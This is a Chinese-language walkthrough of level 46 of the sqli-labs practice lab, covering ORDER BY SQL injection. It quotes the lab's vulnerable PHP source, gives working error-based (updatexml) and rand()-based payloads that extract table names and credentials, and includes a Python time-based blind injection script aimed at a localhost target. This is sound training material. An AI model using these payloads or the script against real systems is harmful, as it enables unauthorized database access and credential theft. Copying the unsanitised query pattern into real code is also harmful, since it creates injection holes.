sql-labs第46关 order by盲注

sql-labs第46关 order by盲注

来到了第46关进入关卡发现让我们输入的参数为sort，我们输入?sort=1尝试：

输入?sort=2,3,发现表格按照顺序进行排列输出，明显是使用了order by相关的函数。

我们将参数变成1'进行尝试，就会报错：

查看源码:

$sql = "SELECT * FROM users ORDER BY $id";

通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入：

分别显示升序和降序的表格，说明此处是注入点，即注入点在order by后的参数中，而order by不同于在where后的注入，不能使用union等进行注入。

<?php
include("../sql-connections/sqli-connect.php");
$id=$_GET['sort'];	
if(isset($id))
	{
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'SORT:'.$id."\n");
	fclose($fp);

	$sql = "SELECT * FROM users ORDER BY $id";
	$result = mysqli_query($con1, $sql);
	if ($result)
		{
		?>
		<center>
		<font color= "#00FF00" size="4">
		
		<table   border=1'>
		<tr>
			<th>&nbsp;ID&nbsp;</th>
			<th>&nbsp;USERNAME&nbsp;  </th>
			<th>&nbsp;PASSWORD&nbsp;  </th>
		</tr>
		</font>
		</font>
		<?php
		while ($row = mysqli_fetch_assoc($result))
			{
			echo '<font color= "#00FF11" size="3">';		
			echo "<tr>";
    			echo "<td>".$row['id']."</td>";
    			echo "<td>".$row['username']."</td>";
    			echo "<td>".$row['password']."</td>";
			echo "</tr>";
			echo "</font>";
			}	
		echo "</table>";
		
		}
		else
		{
		echo '<font color= "#FFFF00">';
		print_r(mysqli_error($con1));
		echo "</font>";  
		}
	}	
	else
	{
		echo "Please input parameter as SORT with numeric value<br><br><br><br>";
		echo "<br><br><br>";
		echo '<img src="../images/Less-46.jpg" /><br>';
		echo "Lesson Concept and code Idea by <b>D4rk</b>";
	}
?>

该代码使用：id=_GET['sort']; 使用GET方式来获取sort参数

1.报错注入：

?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));爆破出其数据库名

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) 爆破出数据库中所有的表

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)爆破出user中所有的列?

?sort=1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)爆破出其数据改变limit数值改变数据。

2.rand（）盲注：

rand（）rand()函数就是可以产生出一个随机数，随机生成介于0和1之间的新的随机实数。

?sort=rand(false);

?sort=rand(ture);

两个数值不相同，构造出一个布尔盲注或者延时盲注的payload：

?sort=rand(ascii(mid((select database()),1,1))=114)；

?sort=rand(ascii(mid((select database()),1,1)=115)；

?sort=rand(ascii(mid((select database()),1,1))=116)；

3.盲注脚本：

import requests
import time


def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
        	# 构造时间盲注payload
            payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
            # 传参
            params = {"sort": payload}
            start_time = time.time()
            # 异常处理，这里我设定了超时时间为20s
            try:
                r = requests.get(url, params=params, timeout=20)
            except requests.Timeout:
                print("Request timed out.")
                continue
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli-labs-master/Less-46/index.php'
    inject_database(url)

得到数据库名，通过修改脚本payload得到其他数据

payload = "if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),%d,1))>%d,sleep(1),0)"%(i,mid)